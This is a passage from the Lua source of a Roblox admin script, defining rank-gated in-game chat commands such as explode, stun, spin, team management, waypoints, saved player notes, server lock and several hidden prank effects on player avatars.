7600 [{"nosparkles", "nosparks", "unsparkles", "unsparks"}] = {"player", "Removes any sparkling effects to player", 1, "Member", false, function(Speaker, Rank, Arguments)
7601 local Players = STRING:Scan(Arguments[1], Speaker)
7602 for _,Player in pairs(Players) do
7603 if Player.Character and Player.Character:FindFirstChild("Torso") then
7604 for _,Get in pairs(Player.Character.Torso:GetChildren()) do
7605 if Get:IsA("Sparkles") then
7606 Get:Destroy()
7607 end
7608 end
7609 end
7610 end
7611 end};
7612
7613 [{"nofire", "unfire"}] = {"player", "Removes player's fire effects", 1, "Member", false, function(Speaker, Rank, Arguments)
7614 local Players = STRING:Scan(Arguments[1], Speaker)
7615 for _,Player in pairs(Players) do
7616 if Player.Character and Player.Character:FindFirstChild("Torso") then
7617 for _,Get in pairs(Player.Character.Torso:GetChildren()) do
7618 if Get:IsA("Fire") then
7619 Get:Destroy()
7620 end
7621 end
7622 end
7623 end
7624 end};
7625
7626 [{"nosmoke", "unsmoke"}] = {"player", "Removes player's smoke effects", 1, "Member", false, function(Speaker, Rank, Arguments)
7627 local Players = STRING:Scan(Arguments[1], Speaker)
7628 for _,Player in pairs(Players) do
7629 if Player.Character and Player.Character:FindFirstChild("Torso") then
7630 for _,Get in pairs(Player.Character.Torso:GetChildren()) do
7631 if Get:IsA("Smoke") then
7632 Get:Destroy()
7633 end
7634 end
7635 end
7636 end
7637 end};
7638
7639 [{"explode", "explosion"}] = {"player", "Explodes player and everything around player", 1, "Member", false, function(Speaker, Rank, Arguments)
7640 local Players = STRING:Scan(Arguments[1], Speaker)
7641 for _,Player in pairs(Players) do
7642 if Player.Character and Player.Character:FindFirstChild("Torso") then
7643 SOUND:MakeSound(Player.Character.Torso, 187137543, 1, 1, false):Play()
7644 local Boom = Instance.new("Explosion", Workspace)
7645 Boom.Position = Player.Character.Torso.Position
7646 end
7647 end
7648 end};
7649
7650 [{"splode", "smite"}] = {"player", "Explodes player 50 times and everything around player", 1, "Member", false, function(Speaker, Rank, Arguments)
7651 local Players = STRING:Scan(Arguments[1], Speaker)
7652 for _,Player in pairs(Players) do
7653 if Player.Character and Player.Character:FindFirstChild("Torso") then
7654 coroutine.wrap(function() for i = 1,50 do
7655 local Boom = Instance.new("Explosion", Workspace)
7656 Boom.Position = Player.Character.Torso.Position
7657 wait()
7658 end end)()
7659 coroutine.wrap(function() for i = 1,5 do
7660 SOUND:MakeSound(Player.Character.Torso, 187137543, 1, 1, false):Play()
7661 end end)()
7662 end
7663 end
7664 end};
7665
7666 [{"superjump", "nograv", "lowgrav"}] = {"player", "Enables player to be able to jump super high", 1, "Member", false, function(Speaker, Rank, Arguments)
7667 local Players = STRING:Scan(Arguments[1], Speaker)
7668 for _,Player in pairs(Players) do
7669 if Player.Character and Player.Character:FindFirstChild("Torso") then
7670 local Force = Player.Character.Torso:FindFirstChild("LMM SJ") if Force then Force:Destroy() end
7671 Force = Instance.new("BodyForce", Player.Character.Torso) Force.Name = "LMM SJ" Force.force = Vector3.new(0,0,0)
7672 CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj) Force.force = Force.force + Vector3.new(0,Obj:GetMass() * 150,0) end)
7673 end
7674 end
7675 end};
7676
7677 [{"normaljump", "grav", "nosuperjump", "unsuperjump"}] = {"player", "Disables player to be able to jump super high", 1, "Member", false, function(Speaker, Rank, Arguments)
7678 local Players = STRING:Scan(Arguments[1], Speaker)
7679 for _,Player in pairs(Players) do
7680 if Player.Character and Player.Character:FindFirstChild("Torso") then
7681 local Force = Player.Character.Torso:FindFirstChild("LMM SJ") if Force then Force:Destroy() end
7682 end
7683 end
7684 end};
7685
7686 [{"punish"}] = {"player", "Punishes player by removing player's character", 1, "Member", false, function(Speaker, Rank, Arguments)
7687 local Players = STRING:Scan(Arguments[1], Speaker)
7688 for _,Player in pairs(Players) do
7689 if Player.Character then
7690 Player.Character.Parent = Server.Lighting
7691 end
7692 end
7693 end};
7694
7695 [{"nopunish", "unpunish"}] = {"player", "Undoes the punish effect on player", 1, "Member", false, function(Speaker, Rank, Arguments)
7696 local Players = STRING:Scan(Arguments[1], Speaker)
7697 for _,Player in pairs(Players) do
7698 if Player.Character then
7699 Player.Character.Parent = Server.Workspace
7700 Player.Character:MakeJoints()
7701 end
7702 end
7703 end};
7704
7705 [{"stun", "platformstand"}] = {"player", "Stuns player so he cannot move", 1, "Member", false, function(Speaker, Rank, Arguments)
7706 local Players = STRING:Scan(Arguments[1], Speaker)
7707 for _,Player in pairs(Players) do
7708 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
7709 Player.Character.Humanoid.PlatformStand = true
7710 end
7711 end
7712 end};
7713
7714 [{"nostun", "unstun", "noplatformstand", "unplatformstand", "stand"}] = {"player", "Undoes the stun effect on player", 1, "Member", false, function(Speaker, Rank, Arguments)
7715 local Players = STRING:Scan(Arguments[1], Speaker)
7716 for _,Player in pairs(Players) do
7717 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
7718 Player.Character.Humanoid.PlatformStand = false
7719 end
7720 end
7721 end};
7722
7723 [{"jump"}] = {"player", "Makes player jump", 1, "Member", false, function(Speaker, Rank, Arguments)
7724 local Players = STRING:Scan(Arguments[1], Speaker)
7725 for _,Player in pairs(Players) do
7726 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
7727 Player.Character.Humanoid.Jump = true
7728 end
7729 end
7730 end};
7731
7732 [{"sit", "sitdown"}] = {"player", "Makes player sit down", 1, "Member", false, function(Speaker, Rank, Arguments)
7733 local Players = STRING:Scan(Arguments[1], Speaker)
7734 for _,Player in pairs(Players) do
7735 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
7736 Player.Character.Humanoid.Sit = true
7737 end
7738 end
7739 end};
7740
7741 [{"nosit", "unsit", "nositdown", "unsitdown", "stand", "standup"}] = {"player", "Makes player stand up if sitting down", 1, "Member", false, function(Speaker, Rank, Arguments)
7742 local Players = STRING:Scan(Arguments[1], Speaker)
7743 for _,Player in pairs(Players) do
7744 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
7745 Player.Character.Humanoid.Sit = false
7746 end
7747 end
7748 end};
7749
7750 [{"spin", "turn", "spinaround"}] = {"player", "Makes player spin around", 1, "Member", false, function(Speaker, Rank, Arguments)
7751 local Players = STRING:Scan(Arguments[1], Speaker)
7752 for _,Player in pairs(Players) do
7753 if Player.Character and Player.Character:FindFirstChild("Torso") then
7754 local Spin = Instance.new("BodyAngularVelocity", Player.Character.Torso) Spin.Name = "MML Spin" Spin.maxTorque = Vector3.new(0, math.huge, 0) Spin.angularvelocity = Vector3.new(0,20,0)
7755 end
7756 end
7757 end};
7758
7759 [{"nospin", "unspin", "noturn", "unturn", "nospinaround", "unspinaround"}] = {"player", "Stops player from spinning around", 1, "Member", false, function(Speaker, Rank, Arguments)
7760 local Players = STRING:Scan(Arguments[1], Speaker)
7761 for _,Player in pairs(Players) do
7762 if Player.Character and Player.Character:FindFirstChild("Torso") then
7763 local Spin = Player.Character.Torso:FindFirstChild("MML Spin") if Spin then Spin:Destroy() end
7764 end
7765 end
7766 end};
7767
7768 [{"port"}] = {"", "Gets the server network port", 0, "Owner", false, function(Speaker, Rank, Arguments)
7769 GUI:SendMessage(Speaker, "Server Port", "The server port for this server is: "..Server.NS.Port, "Information")
7770 end};
7771
7772 [{"chat"}] = {"player (color) string", "Makes player chat string. If color is available the color will be set to it", 2, "Member", false, function(Speaker, Rank, Arguments)
7773 local Color = "Blue"
7774 local String = Arguments[2]
7775 local ChatSplit = STRING:GetSplit(String, 1, Settings.Bet)
7776 if #ChatSplit >= 2 then
7777 if string.lower(ChatSplit[1]) == "green" then
7778 Color = "Green"
7779 String = ChatSplit[2]
7780 elseif string.lower(ChatSplit[1]) == "red" then
7781 Color = "Red"
7782 String = ChatSplit[2]
7783 end
7784 end
7785 local Players = STRING:Scan(Arguments[1], Speaker)
7786 for _,Player in pairs(Players) do
7787 if Player.Character and Player.Character:FindFirstChild("Head") then
7788 game:GetService("Chat"):Chat(Player.Character.Head, STRING:DetermineFilter(String, Speaker, Player), Color)
7789 end
7790 end
7791 end};
7792
7793 [{"missile", "mis", "rocket"}] = {"player", "Turns player into a missile. Use with care!", 1, "Admin", true, function(Speaker, Rank, Arguments)
7794 local Players = STRING:Scan(Arguments[1], Speaker)
7795 for _,Player in pairs(Players) do
7796 if Player.Character then
7797 CORE:ExecuteResource("Missile", Player.Character, {["Color"] = GUI:GetColor()})
7798 end
7799 end
7800 end};
7801
7802 [{"face"}] = {"player num(ID)", "Changes player's faces player num(ID) (must be decal/image)", 2, "Member", false, function(Speaker, Rank, Arguments)
7803 local Players = STRING:Scan(Arguments[1], Speaker)
7804 local ID = nil
7805 if tonumber(Arguments[2]) ~= nil then
7806 ID = MARKET:GetImageFormat(tonumber(Arguments[2]))
7807 else
7808 for FaceTable,FaceID in pairs({[{":3", "=3", ";3"}] = "45448697", [{":D", "=D", ";D"}] = "40528907", [{"D:", "D=", "D;"}] = "147285493", [{":(", "=(", ";(", "):", ")=", ");"}] = "67493660", [{":)", "=)", ";)", "(:", "(=", "(;"}] = "41420967", [{":o", "=o", ";o", "o:", "o=", "o;", ":0", "=0", ";0", "0:", "0=", "0;"}] = "14995229", [{":P", "=P", ";P"}] = "35853859", [{":/", "=/", ";/", "/:", "/=", "/;", [[:\]], [[=\]], [[;\]], [[\:]], [[\=]], [[\;]]}] = "141764028", [{":I", "=I", ";I", "I:", "I=", "I;", ":|", "=|", ";|", "|:", "|=", "|;"}] = "14922431"}) do
7809 for _,Face in pairs(FaceTable) do
7810 if string.lower(Arguments[2]) == string.lower(Face) then
7811 ID = FaceID
7812 break
7813 end
7814 end
7815 end
7816 end
7817 if ID then
7818 for _,Player in pairs(Players) do
7819 if Player.Character and Player.Character:FindFirstChild("Head") and Player.Character.Head:FindFirstChild("face") then
7820 Player.Character.Head.face.Texture = "rbxassetid://"..ID
7821 pcall(function() Player.Character.Label:GetChildren()[1].Head.Texture = "rbxassetid://"..ID end)
7822 end
7823 end
7824 end
7825 end};
7826
7827 [{"overlay", "ol"}] = {"player num(ID)", "Turns player's head into a 2D images of num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
7828 local Players = STRING:Scan(Arguments[1], Speaker)
7829 local ID = MARKET:GetImageFormat(tonumber(Arguments[2]))
7830 for _,Player in pairs(Players) do
7831 if Player.Character and Player.Character:FindFirstChild("Head") then
7832 local BB = Player.Character.Head:FindFirstChild("MMLA Overlay") if BB then BB:Destroy() end
7833 BB = Instance.new("BillboardGui", Player.Character.Head) BB.Name = "MMLA Overlay" BB.AlwaysOnTop = true BB.Size = UDim2.new(1,0,1,0) BB.Adornee = Player.Character.Head
7834 local Image = Instance.new("ImageLabel", BB) Image.BackgroundTransparency = 1 Image.Image = "rbxassetid://"..ID Image.Position = UDim2.new(-0.5,0,-0.5,0) Image.Size = UDim2.new(2,0,2,0)
7835 end
7836 end
7837 end};
7838
7839 [{"nooverlay", "unoverlay", "nool", "unol"}] = {"player", "Removes any overlay on player's head from the overlay command", 1, "Member", false, function(Speaker, Rank, Arguments)
7840 local Players = STRING:Scan(Arguments[1], Speaker)
7841 for _,Player in pairs(Players) do
7842 if Player.Character and Player.Character:FindFirstChild("Head") then
7843 local BB = Player.Character.Head:FindFirstChild("MMLA Overlay") if BB then BB:Destroy() end
7844 end
7845 end
7846 end};
7847
7848 [{"notify"}] = {"string", "Sends string as a packet to the owner remotely", 1, "Admin", false, function(Speaker, Rank, Arguments)
7849 REMOTE:SendHttpLog(Speaker.Name.." Sent Notification: "..Arguments[1], "NOTIFICATION", Speaker)
7850 end, Http = true};
7851
7852 [{"downloadlogs", "downloadhttplogs", "getlogs", "gethttplogs"}] = {"", "Downloads http logs sent by all admins using RemoteAdmin with a DataKey from the Linked Account", 0, "Admin", false, function(Speaker, Rank, Arguments)
7853 GUI:ListGui(Speaker, "Http Logs", CORE:ReverseTable(REMOTE:DownloadUserdata(false).Logs), "Log")
7854 end, Http = true};
7855
7856 [{"note"}] = {"player string", "Saves string to player to all servers", 2, "Admin", false, function(Speaker, Rank, Arguments)
7857 local Players = STRING:Scan(Arguments[1], Speaker)
7858 for _,Player in pairs(Players) do
7859 local ExistingData = Player:LoadInstance("Data")
7860 if ExistingData == nil then
7861 ExistingData = Instance.new("Configuration")
7862 end
7863 ExistingData.Name = "Player Data"
7864 local Key = Instance.new("Configuration", ExistingData)
7865 Key.Name = Arguments[2]
7866 Player:SaveInstance("Data", ExistingData)
7867 end
7868 end};
7869
7870 [{"removenote", "noteremove"}] = {"player string", "Removes any note starting with string", 2, "Admin", false, function(Speaker, Rank, Arguments)
7871 local Players = STRING:Scan(Arguments[1], Speaker)
7872 local Data = Arguments[2]
7873 for _,Player in pairs(Players) do
7874 local ExistingData = Player:LoadInstance("Data")
7875 if ExistingData ~= nil then
7876 if string.lower(Data) == "all" then
7877 ExistingData:ClearAllChildren()
7878 else
7879 for _,DataObj in pairs(ExistingData:GetChildren()) do
7880 if string.sub(string.lower(DataObj.Name),1,#Data) == string.lower(Data) then
7881 DataObj:Destroy()
7882 end
7883 end
7884 end
7885 end
7886 Player:SaveInstance("Data", ExistingData)
7887 end
7888 end};
7889
7890 [{"shownotes", "shownote", "loadnotes", "loadnote", "notes", "getnotes", "getnote"}] = {"player", "Shows the saved notes of player", 1, "Member", false, function(Speaker, Rank, Arguments)
7891 local Players = STRING:Scan(Arguments[1], Speaker)
7892 local DataSet = {}
7893 for _,Player in pairs(Players) do
7894 local ExistingData = Player:LoadInstance("Data")
7895 if ExistingData ~= nil then
7896 if #ExistingData:GetChildren() ~= 0 then
7897 for _,Data in pairs(ExistingData:GetChildren()) do
7898 table.insert(DataSet, Player.Name..": "..Data.Name)
7899 end
7900 else
7901 table.insert(DataSet, "Data does not exist for "..Player.Name)
7902 end
7903 else
7904 table.insert(DataSet, "Data does not exist for "..Player.Name)
7905 end
7906 end
7907 GUI:ListGui(Speaker, "Notes", DataSet)
7908 end};
7909
7910 [{"forwards", "forward"}] = {"player", "Makes player walk forward at normal walkspeed", 1, "Member", false, function(Speaker, Rank, Arguments)
7911 local Players = STRING:Scan(Arguments[1], Speaker)
7912 for _,Player in pairs(Players) do
7913 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
7914 Player.Character.Humanoid.WalkSpeed = 16
7915 end
7916 end
7917 end};
7918
7919 [{"backwards", "backward"}] = {"player", "Makes player walk backwards(reverse keys) at normal walkspeed", 1, "Member", true, function(Speaker, Rank, Arguments)
7920 local Players = STRING:Scan(Arguments[1], Speaker)
7921 for _,Player in pairs(Players) do
7922 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
7923 Player.Character.Humanoid.WalkSpeed = -16
7924 end
7925 end
7926 end};
7927
7928 [{"teamnew", "teamcreate", "newteam", "createteam"}] = {"string", "Creates a new team named string. If a color is detected, the team color will be set to it.", 1, "Member", false, function(Speaker, Rank, Arguments)
7929 local TeamColor = BrickColor.random()
7930 local TeamName = Arguments[1]
7931 local TeamNameSplit = STRING:GetSplit(TeamName, 1, " ")
7932 if #TeamNameSplit >= 2 then
7933 local Color = TeamNameSplit[1]
7934 local NewTeamName = TeamNameSplit[2]
7935 if Color == "Medium stone grey" then
7936 TeamColor = BrickColor.new(Color)
7937 TeamName = NewTeamName
7938 elseif BrickColor.new(Color) ~= BrickColor.new("Medium stone grey") then
7939 TeamColor = BrickColor.new(Color)
7940 TeamName = NewTeamName
7941 elseif Colors[string.upper(Color)] then
7942 TeamColor = BrickColor.new(GUI:GetColor(string.upper(Color)))
7943 TeamName = NewTeamName
7944 end
7945 end
7946
7947 local NewTeam = Instance.new("Team", Server.Teams)
7948 NewTeam.TeamColor = TeamColor
7949 NewTeam.Name = TeamName
7950 end};
7951
7952 [{"leaveteam", "teamleave"}] = {"player", "Makes player be on no team", 1, "Member", false, function(Speaker, Rank, Arguments)
7953 local Players = STRING:Scan(Arguments[1], Speaker)
7954 for _,Player in pairs(Players) do
7955 Player.Neutral = true
7956 end
7957 end};
7958
7959 [{"team", "teamjoin", "jointeam"}] = {"player string", "Makes it so player joints team string", 2, "Member", false, function(Speaker, Rank, Arguments)
7960 local Players = STRING:Scan(Arguments[1], Speaker)
7961 if string.lower(Arguments[2]) == "none" then
7962 for _,Player in pairs(Players) do
7963 Player.Neutral = true
7964 end
7965 else
7966 for _,Obj in pairs(Server.Teams:GetChildren()) do
7967 if Obj:IsA("Team") then
7968 if string.sub(string.lower(Obj.Name),1,#Arguments[2]) == string.lower(Arguments[2]) then
7969 for _,Player in pairs(Players) do
7970 Player.Neutral = false
7971 Player.TeamColor = Obj.TeamColor
7972 end
7973 end
7974 end
7975 end
7976 end
7977 end};
7978
7979 [{"noteam", "unteam", "nonewteam", "unnewteam"}] = {"string", "Finds the team named string and removes it", 1, "Member", false, function(Speaker, Rank, Arguments)
7980 for _,Obj in pairs(Server.Teams:GetChildren()) do
7981 if Obj:IsA("Team") then
7982 if string.sub(string.lower(Obj.Name),1,#Arguments[1]) == string.lower(Arguments[1]) then
7983 for _,Player in pairs(Server.Players:GetPlayers()) do
7984 if Player.TeamColor == Obj.TeamColor then
7985 Player.Neutral = true
7986 end
7987 end
7988 Obj:Destroy()
7989 end
7990 end
7991 end
7992 end};
7993
7994 [{"clearteams", "cleanteams"}] = {"", "Clears all teams", 0, "Member", false, function(Speaker, Rank, Arguments)
7995 for _,Player in pairs(Server.Players:GetPlayers()) do
7996 Player.Neutral = true
7997 end
7998 for _,Obj in pairs(Server.Teams:GetChildren()) do
7999 if Obj:IsA("Team") then
8000 Obj:Destroy()
8001 end
8002 end
8003 end};
8004
8005 [{"countdown", "count", "ticker"}] = {"num", "Counts down an alarm from num", 1, "Member", false, function(Speaker, Rank, Arguments)
8006 for _,Player in pairs(Server.Players:GetPlayers()) do
8007 GUI:Countdown(Player, Arguments[1])
8008 end
8009 end};
8010
8011 [{"showad", "ad"}] = {"player", "Shows an ad to player(As of now, only people on mobile devices can see)", 1, "Admin", false, function(Speaker, Rank, Arguments)
8012 local Players = STRING:Scan(Arguments[1], Speaker)
8013 for _,Player in pairs(Players) do
8014 if Player:FindFirstChild("Backpack") then
8015 CORE:ExecuteResource("ShowAd", Player.Backpack)
8016 end
8017 end
8018 end};
8019
8020 [{"warp", "warpto"}] = {"player string", "Warps player to the point of string", 2, "Member", false, function(Speaker, Rank, Arguments)
8021 local Players = STRING:Scan(Arguments[1], Speaker)
8022 for _,Player in pairs(Players) do
8023 if Player.Character then
8024 for PosName,WP in pairs(Waypoints) do
8025 if string.sub(string.lower(PosName),1,#Arguments[2]) == string.lower(Arguments[2]) then
8026 Player.Character:MoveTo(WP + Vector3.new(0,0.5,0))
8027 break
8028 end
8029 end
8030 end
8031 end
8032 end};
8033
8034 [{"waypoint", "addwaypoint"}] = {"string num(X) num(Y) num(Z)", "Adds a waypoint to warp named string with the XYZ coordinates", 4, "Admin", false, function(Speaker, Rank, Arguments)
8035 CORE:AddWaypoint(Arguments[1], Vector3.new(Arguments[2], Arguments[3], Arguments[4]), Speaker)
8036 end};
8037
8038 [{"removewaypoint", "deletewaypoint", "destroywaypoint", "nowaypoint", "unwaypoint"}] = {"string", "Removes any waypoint named string", 1, "Member", false, function(Speaker, Rank, Arguments)
8039 local Num = 0
8040 for PosName,WP in pairs(Waypoints) do
8041 Num = Num + 1
8042 if string.sub(string.lower(PosName),1,#Arguments[1]) == Arguments[1] then
8043 Waypoints[PosName] = nil
8044 end
8045 end
8046 end};
8047
8048 [{"waypoints", "viewwaypoints", "waypointlist", "listwaypoints"}] = {"", "Views all waypoints to warp to", 0, "Member", false, function(Speaker, Rank, Arguments)
8049 local WaypointHolder,WaypointRaw = {},{}
8050 for Name, WP in pairs(Waypoints) do
8051 local View = Name..": "..tostring(WP)
8052 table.insert(WaypointHolder, View)
8053 WaypointRaw[View] = WP
8054 end
8055 local Clicked = GUI:ListGui(Speaker, "Waypoint List", WaypointHolder, "Map")
8056 Clicked.Event:connect(function(Text)
8057 local Waypoint = WaypointRaw[Text]
8058 if Waypoint then
8059 if Speaker.Character then
8060 Speaker.Character:MoveTo(Waypoint)
8061 end
8062 end
8063 end)
8064 end};
8065
8066 [{"list", "listplayer", "listplayers"}] = {"player", "Lists the player(s) in a gui list", 1, "Member", false, function(Speaker, Rank, Arguments)
8067 local Players = STRING:Scan(Arguments[1], Speaker)
8068 local List = {}
8069 for _,Player in pairs(Players) do
8070 table.insert(List, Player.Name.." (ID: "..Player.UserId..")")
8071 end
8072 GUI:ListGui(Speaker, "Listed Players", List)
8073 end};
8074
8075 [{"givepoints"}] = {"player num", "Gives num playerpoints to player", 2, "Owner", false, function(Speaker, Rank, Arguments)
8076 if tonumber(Arguments[1]) then
8077 ypcall(function() Server.PS:AwardPoints(tonumber(Arguments[1]), tonumber(Arguments[2])) end)
8078 else
8079 local Players = STRING:Scan(Arguments[1], Speaker)
8080 for _,Player in pairs(Players) do
8081 ypcall(function() Server.PS:AwardPoints(Player.UserId, tonumber(Arguments[2])) end)
8082 end
8083 end
8084 end};
8085
8086 [{"friends", "getfriends", "listfriends", "showfriends"}] = {"player", "Shows all the friends player is friends with in the server", 1, "Member", false, function(Speaker, Rank, Arguments)
8087 local Players = STRING:Scan(Arguments[1], Speaker)
8088 local Friends,OneFriend = {}, false
8089 for _,Player in pairs(Players) do
8090 for _,User in pairs(Server.Players:GetPlayers()) do if User ~= Player then
8091 --[[if Player:IsBestFriendsWith(User.UserId) then
8092 table.insert(Friends, Player.Name.." is best friends with "..User.Name)
8093 OneFriend = true
8094 ]]
8095 if Player:IsFriendsWith(User.UserId) then
8096 table.insert(Friends, Player.Name.." is friends with "..User.Name)
8097 OneFriend = true
8098 end
8099 if _ == #Server.Players:GetPlayers() and OneFriend == false then
8100 table.insert(Friends, Player.Name.." has no friends in this server (Loner)")
8101 end
8102 end end
8103 end
8104 GUI:ListGui(Speaker, "Friend List", Friends)
8105 end};
8106
8107 [{"serverlock", "lockserver"}] = {"", "Locks the server to prevent non-admins from joining", 0, "Owner", false, function(Speaker, Rank, Arguments)
8108 Settings.ServerLocked = true
8109 GUI:MessageAdmins("Server Locked", "The server has been locked. Only admins can join at this point.", 10, "Lock")
8110 end};
8111
8112 [{"noserverlock", "unserverlock", "unlockserver", "nolockserver", "nolock", "unlock"}] = {"", "Unlocks the server to enable non-admin joining", 0, "Owner", false, function(Speaker, Rank, Arguments)
8113 Settings.ServerLocked = false
8114 GUI:MessageAdmins("Server Unlocked", "The server has been unlocked. Anyone not banned or crashed can join", 10, 11344402)
8115 end};
8116
8117 [{"minage", "minimumage", "restrictage"}] = {" num", "Restricts any player that is younger than the age(in days) num from joining", 0, "Owner", false, function(Speaker, Rank, Arguments)
8118 local OldAge = Settings.MinimumAge
8119 local Age = tostring(Arguments[1])
8120 if Age then
8121 Settings.MinimumAge = Age
8122 GUI:MessageAdmins("Minumum age change", "The minimum age required to join this server is now "..Age.." days old(was "..OldAge.." days old)", 10)
8123 end
8124 end};
8125
8126 [{"vipadmin", "adminvip"}] = {"", "Prompts speaker the VIP item to grant Admin level permissions", 0, "Non-Admin", false, function(Speaker, Rank, Arguments)
8127 if Settings.VIPAdminID <= 1 then
8128 MARKET:PromptPurchase(Speaker, VIPAdminID)
8129 else
8130 CORE:SendMessage(Speaker, "No Admin VIP", "The creator ("..GameOwner..") did not add a admin rank VIP to Make".."rModelLua's Admin", 7)
8131 end
8132 end};
8133
8134 [{"vipmember", "membervip"}] = {"", "Prompts speaker the VIP item to grant Member level permissions", 0, "Non-Admin", false, function(Speaker, Rank, Arguments)
8135 if Settings.VIPMemberID <= 1 then
8136 MARKET:PromptPurchase(Speaker, VIPMemberID)
8137 else
8138 CORE:SendMessage(Speaker, "No Member VIP", "The creator ("..GameOwner..") did not add a member rank VIP to Make".."rModelLua's Admin", 7)
8139 end
8140 end};
8141
8142 [{"headsize", "sizehead", "resizehead", "headresize"}] = {"player num", "Resizes player's head to num. 100 = normal size 200 = double size 50 = half size", 2, "Member", true, function(Speaker, Rank, Arguments)
8143 if tonumber(Arguments[2]) then
8144 local Players = STRING:Scan(Arguments[1], Speaker)
8145 local Size = tonumber(Arguments[2])+25
8146 for _,Player in pairs(Players) do
8147 if Player.Character then
8148 if Player.Character:FindFirstChild("Head") then
8149 if Player.Character.Head:FindFirstChild("Mesh") then
8150 Player.Character.Head.Mesh.Scale = Vector3.new(Size/100,Size/100,Size/100)
8151 end
8152 end
8153 end
8154 end
8155 end
8156 end};
8157
8158 [{"control"}] = {"player", "Allows speaker to take control of player", 1, "Member", false, function(Speaker, Rank, Arguments)
8159 local Players = STRING:Scan(Arguments[1], Speaker)
8160 for _,Player in pairs(Players) do
8161 if Player.Character and Player.Character:FindFirstChild("Torso") then
8162 CORE:ChangeCharacter(Speaker, Player.UserId, false, Speaker, true, Player.Character.Torso.Position)
8163 Player.Character.Parent = nil
8164 CORE:ExecuteResource("CameraControl", Player.Backpack, {["Speaker"] = Speaker})
8165 end
8166 end
8167 end};
8168
8169 [{"settings"}] = {"", "Shows settings to speaker. If high enough rank, the speaker can edit settings", 0, "Non-Admin", false, function(Speaker, Rank, Arguments)
8170 GUI:SettingsGui(Speaker)
8171 end};
8172
8173 [{"hasasset", "ownsasset"}] = {"player num(ID)", "Shows if player has asset num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
8174 if tonumber(Arguments[2]) then
8175 local Players = STRING:Scan(Arguments[1], Speaker)
8176 local List = {}
8177 for _,Player in pairs(Players) do
8178 if Server.MPS:PlayerOwnsAsset(Player, tonumber(Arguments[2])) then
8179 table.insert(List, Player.Name)
8180 end
8181 end
8182 GUI:ListGui(Speaker, "Players who have asset ID: "..Arguments[2], List, 23916171)
8183 end
8184 end};
8185
8186 [{"reck", "rek", "rekt", "shrekt", "wreck", "noscope", "mlg"}] = {"player", "rekts player in a haxy way", 1, "Member", true, function(Speaker, Rank, Arguments)
8187 local Players = STRING:Scan(Arguments[1], Speaker)
8188 for _,Player in pairs(Players) do
8189 if Player.Character and Player.Character:FindFirstChild("Head") then
8190 local Char = Player.Character
8191 Char:BreakJoints()
8192 CORE:ScanItems(Char, {"BasePart"}, function(Obj)
8193 Obj.Anchored = true
8194 for _,Face in pairs({"Top", "Bottom", "Right", "Left", "Front", "Back"}) do
8195 local Decal = Instance.new("Decal", Obj)
8196 Decal.Texture = "rbxassetid://178913323"
8197 Decal.Face = Face
8198 end
8199 end)
8200 local Sound1 = SOUND:MakeSound(Char.Head, 131509782, 1, 1)
8201 local Sound2 = SOUND:MakeSound(Char.Head, 179497874, 1, 1)
8202 Sound1:Play() Sound2:Play()
8203 coroutine.wrap(function()
8204 coroutine.wrap(function() wait(4.9) Sound1:Stop() Sound2:Stop() end)()
8205 repeat wait()
8206 CORE:ScanItems(Char, {"BasePart"}, function(Obj)
8207 SOUND:MakeSound(Char.Head, "rbxasset://sounds/uuhhh.mp3", 1, math.random(80,120)/100):Play()
8208 Obj.Transparency = math.random(0,30)/100
8209 Obj.Reflectance = math.random(0,50)/100
8210 Obj.CFrame = Obj.CFrame * CFrame.new(math.random(-10,10),math.random(-5,10),math.random(-10,10)) * CFrame.Angles(math.rad(math.random(0,360)),math.rad(math.random(0,360)),math.rad(math.random(0,360)))
8211 end)
8212 until Char ~= Player.Character or Char.Parent == nil
8213 end)()
8214 end
8215 end
8216 end, Hidden = true};
8217
8218 [{"define", "lookup", "definition"}] = {"string", "Looks up the word on webster's online dictionary", 1, "Member", false, function(Speaker, Rank, Arguments)
8219 GUI:SendMessage(Speaker, "Definition of "..Arguments[1], REMOTE:DefineWord(Arguments[1]), 185923691)
8220 end, Http = true};
8221
8222 [{"neon", "glow"}] = {"player", "Makes player glow like a neon light", 1, "Member", false, function(Speaker, Rank, Arguments)
8223 local Players = STRING:Scan(Arguments[1], Speaker)
8224 for _,Player in pairs(Players) do
8225 if Player.Character then
8226 CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj)
8227 Obj.Material = "Neon"
8228 end)
8229 end
8230 end
8231 end};
8232
8233 [{"noneon", "noglow", "unneon", "unglow"}] = {"player", "Removes any glowing neon from player", 1, "Member", false, function(Speaker, Rank, Arguments)
8234 local Players = STRING:Scan(Arguments[1], Speaker)
8235 for _,Player in pairs(Players) do
8236 if Player.Character then
8237 CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj)
8238 Obj.Material = "Plastic"
8239 end)
8240 end
8241 end
8242 end};
8243
8244 [{"asd", "swag"}] = {"player", "Makes player look like a swagger", 1, "Member", true, function(Speaker, Rank, Arguments)
8245 local Players = STRING:Scan(Arguments[1], Speaker)
8246 for _,Player in pairs(Players) do
8247 if Player.Character then
8248 CORE:ScanItems(Player.Character, {"JointInstance"}, function(Obj)
8249 Obj.C0 = Obj.C0 * CFrame.new(math.random(-5,5),math.random(0,5),math.random(-5,5))
8250 end)
8251 end
8252 end
8253 end, Hidden = true};
8254
8255 [{"getpos", "getposition", "playerpos", "playerposition"}] = {"player", "Gets player's position and prompts to add it to waypoints", 1, "Admin", false, function(Speaker, Rank, Arguments)
8256 local Players = STRING:Scan(Arguments[1], Speaker)
8257 for _,Player in pairs(Players) do
8258 if Player.Character and Player.Character:FindFirstChild("Torso") then
8259 local Pos = Player.Character.Torso.Position
8260 Pos = Vector3.new(CORE:Round(Pos.X), CORE:Round(Pos.Y), CORE:Round(Pos.Z))
8261 local Answer = GUI:PromptMessageWithButtons(Speaker, Player.Name.."'s position", Player.Name.." is located at ("..tostring(Pos)..") would you like a waypoint under his/her name?", "Question", {"Cancel", "Ok"})
8262 if Answer == "Ok" then
8263 CORE:AddWaypoint(Player.Name, Pos, Speaker)
8264 end
8265 end
8266 end
8267 end};
8268
